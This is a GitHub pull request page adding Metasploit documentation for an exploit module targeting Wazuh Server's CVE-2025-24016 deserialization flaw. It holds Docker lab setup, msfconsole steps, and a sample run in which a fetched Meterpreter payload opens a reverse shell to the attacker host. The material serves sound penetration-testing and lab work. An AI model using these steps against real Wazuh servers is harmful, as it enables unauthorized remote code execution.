-
Notifications
You must be signed in to change notification settings - Fork 14.4k
Wazuh Server authenticated RCE [CVE-2025-24016] #20387
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from 4 commits
Commits
Show all changes
5 commits
Select commit
Hold shift + click to select a range
f6e0c43
init module
h00die-gr3y 6393154
added attackerkb reference + documenttaion
h00die-gr3y 7a9cd79
small update on the documentation
h00die-gr3y abbcdda
update based on adfoster-r7 comments
h00die-gr3y 3d0cfd0
update module + documentation based on review comments
h00die-gr3y File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
381 changes: 381 additions & 0 deletions
381
documentation/modules/exploit/linux/http/wazuh_auth_rce_cve_2025_24016.md
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,381 @@ | ||
## Vulnerable Application | ||
Wazuh is a free and open source platform used for threat prevention, detection, and response. | ||
Starting in version `4.4.0` and prior to version `4.9.1`, an unsafe deserialization vulnerability allows for remote code | ||
execution on Wazuh servers. DistributedAPI parameters are a serialized as JSON and deserialized using `as_wazuh_object` in | ||
`/var/ossec/framework/wazuh/core/cluster/common.py`. If an attacker manages to inject an unsanitized dictionary in DAPI | ||
request/response, they can forge an unhandled exception (`__unhandled_exc__`) to evaluate arbitrary python code. | ||
The vulnerability can be triggered by anybody with API access (compromised dashboard or Wazuh servers in the cluster) or, | ||
in certain configurations, even by a compromised agent. | ||
|
||
The following Wazuh release has been tested: | ||
* Wazuh Server 4.8.2 multi-node cluster running on Docker Desktop | ||
|
||
See also this [attackerkb article](https://attackerkb.com/topics/piW0q4r5Uy/cve-2025-24016) for more info. | ||
|
||
## Installation | ||
### Installation steps to install the Wazuh Server application | ||
* Install `Docker` on your preferred platform. | ||
* Here are the installation instructions for [Docker Desktop on MacOS](https://docs.docker.com/desktop/install/mac-install/). | ||
* Create a empty directory (`wazuh-docker`). | ||
* Create the `generate-indexer-certs.yml` file in the directory. | ||
```yaml | ||
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2) | ||
version: '3' | ||
|
||
services: | ||
generator: | ||
image: wazuh/wazuh-certs-generator:0.0.2 | ||
hostname: wazuh-certs-generator | ||
volumes: | ||
- ./config/wazuh_indexer_ssl_certs/:/certificates/ | ||
- ./config/certs.yml:/config/certs.yml | ||
``` | ||
* Run the certificate creation script. | ||
``` | ||
docker-compose -f generate-indexer-certs.yml run --rm generator | ||
``` | ||
* Create the following `docker-compose.yml` file in the directory. This will automatically create a Wazuh server multi-node cluster. | ||
* You can modify the `4.8.2` version in the `yml` file to pull different versions. | ||
```yaml | ||
# Wazuh App Copyright (C) 2017, Wazuh Inc. (License GPLv2) | ||
version: '3.7' | ||
|
||
services: | ||
wazuh.master: | ||
image: wazuh/wazuh-manager:4.8.2 | ||
hostname: wazuh.master | ||
restart: always | ||
ulimits: | ||
memlock: | ||
soft: -1 | ||
hard: -1 | ||
nofile: | ||
soft: 655360 | ||
hard: 655360 | ||
ports: | ||
- "1515:1515" | ||
- "514:514/udp" | ||
- "55000:55000" | ||
environment: | ||
- INDEXER_URL=https://wazuh1.indexer:9200 | ||
- INDEXER_USERNAME=admin | ||
- INDEXER_PASSWORD=SecretPassword | ||
- FILEBEAT_SSL_VERIFICATION_MODE=full | ||
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem | ||
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem | ||
- SSL_KEY=/etc/ssl/filebeat.key | ||
- API_USERNAME=wazuh-wui | ||
- API_PASSWORD=MyS3cr37P450r.*- | ||
volumes: | ||
- master-wazuh-api-configuration:/var/ossec/api/configuration | ||
- master-wazuh-etc:/var/ossec/etc | ||
- master-wazuh-logs:/var/ossec/logs | ||
- master-wazuh-queue:/var/ossec/queue | ||
- master-wazuh-var-multigroups:/var/ossec/var/multigroups | ||
- master-wazuh-integrations:/var/ossec/integrations | ||
- master-wazuh-active-response:/var/ossec/active-response/bin | ||
- master-wazuh-agentless:/var/ossec/agentless | ||
- master-wazuh-wodles:/var/ossec/wodles | ||
- master-filebeat-etc:/etc/filebeat | ||
- master-filebeat-var:/var/lib/filebeat | ||
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh.master.pem:/etc/ssl/filebeat.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh.master-key.pem:/etc/ssl/filebeat.key | ||
- ./config/wazuh_cluster/wazuh_manager.conf:/wazuh-config-mount/etc/ossec.conf | ||
|
||
wazuh.worker: | ||
image: wazuh/wazuh-manager:4.8.2 | ||
hostname: wazuh.worker | ||
restart: always | ||
ulimits: | ||
memlock: | ||
soft: -1 | ||
hard: -1 | ||
nofile: | ||
soft: 655360 | ||
hard: 655360 | ||
ports: | ||
- "56000:55000" | ||
- "5555:5555" | ||
environment: | ||
- INDEXER_URL=https://wazuh1.indexer:9200 | ||
- INDEXER_USERNAME=admin | ||
- INDEXER_PASSWORD=SecretPassword | ||
- FILEBEAT_SSL_VERIFICATION_MODE=full | ||
- SSL_CERTIFICATE_AUTHORITIES=/etc/ssl/root-ca.pem | ||
- SSL_CERTIFICATE=/etc/ssl/filebeat.pem | ||
- SSL_KEY=/etc/ssl/filebeat.key | ||
- PYTHONBREAKPOINT=remote_pdb.set_trace | ||
- REMOTE_PDB_HOST=0.0.0.0 | ||
- REMOTE_PDB_PORT=5555 | ||
volumes: | ||
- worker-wazuh-api-configuration:/var/ossec/api/configuration | ||
- worker-wazuh-etc:/var/ossec/etc | ||
- worker-wazuh-logs:/var/ossec/logs | ||
- worker-wazuh-queue:/var/ossec/queue | ||
- worker-wazuh-var-multigroups:/var/ossec/var/multigroups | ||
- worker-wazuh-integrations:/var/ossec/integrations | ||
- worker-wazuh-active-response:/var/ossec/active-response/bin | ||
- worker-wazuh-agentless:/var/ossec/agentless | ||
- worker-wazuh-wodles:/var/ossec/wodles | ||
- worker-filebeat-etc:/etc/filebeat | ||
- worker-filebeat-var:/var/lib/filebeat | ||
- ./config/wazuh_indexer_ssl_certs/root-ca-manager.pem:/etc/ssl/root-ca.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh.worker.pem:/etc/ssl/filebeat.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh.worker-key.pem:/etc/ssl/filebeat.key | ||
- ./config/wazuh_cluster/wazuh_worker.conf:/wazuh-config-mount/etc/ossec.conf | ||
|
||
wazuh1.indexer: | ||
image: wazuh/wazuh-indexer:4.8.2 | ||
hostname: wazuh1.indexer | ||
restart: always | ||
ports: | ||
- "9200:9200" | ||
environment: | ||
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g" | ||
- "bootstrap.memory_lock=true" | ||
ulimits: | ||
memlock: | ||
soft: -1 | ||
hard: -1 | ||
nofile: | ||
soft: 65536 | ||
hard: 65536 | ||
volumes: | ||
- wazuh-indexer-data-1:/var/lib/wazuh-indexer | ||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.key | ||
- ./config/wazuh_indexer_ssl_certs/wazuh1.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh1.indexer.pem | ||
- ./config/wazuh_indexer_ssl_certs/admin.pem:/usr/share/wazuh-indexer/certs/admin.pem | ||
- ./config/wazuh_indexer_ssl_certs/admin-key.pem:/usr/share/wazuh-indexer/certs/admin-key.pem | ||
- ./config/wazuh_indexer/wazuh1.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml | ||
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml | ||
|
||
wazuh2.indexer: | ||
image: wazuh/wazuh-indexer:4.8.2 | ||
hostname: wazuh2.indexer | ||
restart: always | ||
environment: | ||
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g" | ||
- "bootstrap.memory_lock=true" | ||
ulimits: | ||
memlock: | ||
soft: -1 | ||
hard: -1 | ||
nofile: | ||
soft: 65536 | ||
hard: 65536 | ||
volumes: | ||
- wazuh-indexer-data-2:/var/lib/wazuh-indexer | ||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.key | ||
- ./config/wazuh_indexer_ssl_certs/wazuh2.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh2.indexer.pem | ||
- ./config/wazuh_indexer/wazuh2.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml | ||
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml | ||
|
||
wazuh3.indexer: | ||
image: wazuh/wazuh-indexer:4.8.2 | ||
hostname: wazuh3.indexer | ||
restart: always | ||
environment: | ||
- "OPENSEARCH_JAVA_OPTS=-Xms1g -Xmx1g" | ||
- "bootstrap.memory_lock=true" | ||
ulimits: | ||
memlock: | ||
soft: -1 | ||
hard: -1 | ||
nofile: | ||
soft: 65536 | ||
hard: 65536 | ||
volumes: | ||
- wazuh-indexer-data-3:/var/lib/wazuh-indexer | ||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-indexer/certs/root-ca.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer-key.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.key | ||
- ./config/wazuh_indexer_ssl_certs/wazuh3.indexer.pem:/usr/share/wazuh-indexer/certs/wazuh3.indexer.pem | ||
- ./config/wazuh_indexer/wazuh3.indexer.yml:/usr/share/wazuh-indexer/opensearch.yml | ||
- ./config/wazuh_indexer/internal_users.yml:/usr/share/wazuh-indexer/opensearch-security/internal_users.yml | ||
|
||
wazuh.dashboard: | ||
image: wazuh/wazuh-dashboard:4.8.2 | ||
hostname: wazuh.dashboard | ||
restart: always | ||
ports: | ||
- 443:5601 | ||
environment: | ||
- OPENSEARCH_HOSTS="https://wazuh1.indexer:9200" | ||
- WAZUH_API_URL="https://wazuh.master" | ||
- API_USERNAME=wazuh-wui | ||
- API_PASSWORD=MyS3cr37P450r.*- | ||
- DASHBOARD_USERNAME=kibanaserver | ||
- DASHBOARD_PASSWORD=kibanaserver | ||
volumes: | ||
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard.pem | ||
- ./config/wazuh_indexer_ssl_certs/wazuh.dashboard-key.pem:/usr/share/wazuh-dashboard/certs/wazuh-dashboard-key.pem | ||
- ./config/wazuh_indexer_ssl_certs/root-ca.pem:/usr/share/wazuh-dashboard/certs/root-ca.pem | ||
- ./config/wazuh_dashboard/opensearch_dashboards.yml:/usr/share/wazuh-dashboard/config/opensearch_dashboards.yml | ||
- ./config/wazuh_dashboard/wazuh.yml:/usr/share/wazuh-dashboard/data/wazuh/config/wazuh.yml | ||
- wazuh-dashboard-config:/usr/share/wazuh-dashboard/data/wazuh/config | ||
- wazuh-dashboard-custom:/usr/share/wazuh-dashboard/plugins/wazuh/public/assets/custom | ||
depends_on: | ||
- wazuh1.indexer | ||
links: | ||
- wazuh1.indexer:wazuh1.indexer | ||
- wazuh.master:wazuh.master | ||
|
||
nginx: | ||
image: nginx:stable | ||
hostname: nginx | ||
restart: always | ||
ports: | ||
- "1514:1514" | ||
depends_on: | ||
- wazuh.master | ||
- wazuh.worker | ||
- wazuh.dashboard | ||
links: | ||
- wazuh.master:wazuh.master | ||
- wazuh.worker:wazuh.worker | ||
- wazuh.dashboard:wazuh.dashboard | ||
volumes: | ||
- ./config/nginx/nginx.conf:/etc/nginx/nginx.conf:ro | ||
|
||
volumes: | ||
master-wazuh-api-configuration: | ||
master-wazuh-etc: | ||
master-wazuh-logs: | ||
master-wazuh-queue: | ||
master-wazuh-var-multigroups: | ||
master-wazuh-integrations: | ||
master-wazuh-active-response: | ||
master-wazuh-agentless: | ||
master-wazuh-wodles: | ||
master-filebeat-etc: | ||
master-filebeat-var: | ||
worker-wazuh-api-configuration: | ||
worker-wazuh-etc: | ||
worker-wazuh-logs: | ||
worker-wazuh-queue: | ||
worker-wazuh-var-multigroups: | ||
worker-wazuh-integrations: | ||
worker-wazuh-active-response: | ||
worker-wazuh-agentless: | ||
worker-wazuh-wodles: | ||
worker-filebeat-etc: | ||
worker-filebeat-var: | ||
wazuh-indexer-data-1: | ||
wazuh-indexer-data-2: | ||
wazuh-indexer-data-3: | ||
wazuh-dashboard-config: | ||
wazuh-dashboard-custom: | ||
``` | ||
* Run following command `docker-compose up -d` to install and run the Wazuh server cluster environment. | ||
* Your Wazuh server should be accessible on `https://localhost` with an active Wazuh server cluster running. | ||
* You can bring down the environment for a fresh start with the command `docker-compose down`. | ||
|
||
You are now ready to test the module. | ||
|
||
**IMPORTANT NOTE:** | ||
This vulnerability can only be triggered in a Wazuh multi-node cluster configuration, because it needs the distributed API function. | ||
It is important to understand that the worker-server port (`55000`) should be exposed to the outside world in order to trigger | ||
this vulnerability. In the above lab setup, it is exposed on port `56000` (see the `docker-compose.yml` file) | ||
Using it directly on the master-server port (`55000`) will not work because the DAPI request is not leveraged in this case, hence | ||
the vulnerable code will not be triggered. | ||
|
||
## Verification Steps | ||
- [ ] Start `msfconsole` | ||
- [ ] `use exploit/linux/http/wazuh_auth_rce_cve_2025_24016` | ||
- [ ] `set rhosts <ip-target>` | ||
- [ ] `set rport <port>` | ||
- [ ] `set lhost <attacker-ip>` | ||
- [ ] `set target <0=Unix/Linux Command>` | ||
- [ ] `exploit` | ||
|
||
you should get a `reverse shell` or `Meterpreter` session depending on the `payload` and `target` settings. | ||
|
||
## Options | ||
**API Credentials:** | ||
`API_PWD` Wazuh API password (MyS3cr37P450r.*-) | ||
`API_USER` Wazuh API user (wazuh-wui) | ||
|
||
## Scenarios | ||
### Wazuh server 4.8.2 on Docker Desktop | ||
```msf | ||
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > options | ||
|
||
Module options (exploit/linux/http/wazuh_auth_rce_cve_2025_24016): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
API_PWD MyS3cr37P450r.*- yes Wazuh API password | ||
API_USER wazuh-wui yes Wazuh API user | ||
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, http, | ||
socks5h | ||
RHOSTS 192.168.201.85 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html | ||
RPORT 56000 yes The target port (TCP) | ||
SSL true no Negotiate SSL/TLS for outgoing connections | ||
TARGETURI / yes Path to the wazuh manager | ||
VHOST no HTTP server virtual host | ||
|
||
|
||
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp): | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET) | ||
FETCH_DELETE false yes Attempt to delete the binary after execution | ||
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python | ||
variant also Python ≥3.8 (Accepted: none, bash, python3.8+) | ||
FETCH_SRVHOST no Local IP to use for serving payload | ||
FETCH_SRVPORT 8080 yes Local port to use for serving payload | ||
FETCH_URIPATH no Local URI to use for serving payload | ||
LHOST 192.168.201.10 yes The listen address (an interface may be specified) | ||
LPORT 4444 yes The listen port | ||
|
||
|
||
When FETCH_COMMAND is one of CURL,WGET: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell. | ||
|
||
|
||
When FETCH_FILELESS is none: | ||
|
||
Name Current Setting Required Description | ||
---- --------------- -------- ----------- | ||
FETCH_FILENAME WqYFaNqq no Name to use on remote system when storing payload; cannot contain spaces or slashes | ||
FETCH_WRITABLE_DIR /tmp yes Remote writable dir to store payload; cannot contain spaces | ||
|
||
|
||
Exploit target: | ||
|
||
Id Name | ||
-- ---- | ||
0 Unix/Linux Command | ||
|
||
View the full module info with the info, or info -d command. | ||
|
||
msf6 exploit(linux/http/wazuh_auth_rce_cve_2025_24016) > rexploit | ||
[*] Reloading module... | ||
[*] Started reverse TCP handler on 192.168.201.10:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Wazuh version 4.8.2 | ||
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp | ||
[*] Sending stage (3090404 bytes) to 192.168.201.85 | ||
[*] Meterpreter session 2 opened (192.168.201.10:4444 -> 192.168.201.85:58215) at 2025-07-16 08:14:53 +0000 | ||
|
||
meterpreter > getuid | ||
Server username: wazuh | ||
meterpreter > sysinfo | ||
Computer : wazuh.master | ||
OS : (Linux 6.10.14-linuxkit) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > pwd | ||
/ | ||
meterpreter > | ||
``` | ||
|
||
## Limitations | ||
This module works only on a Wazuh Server multi-node cluster configuration. |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.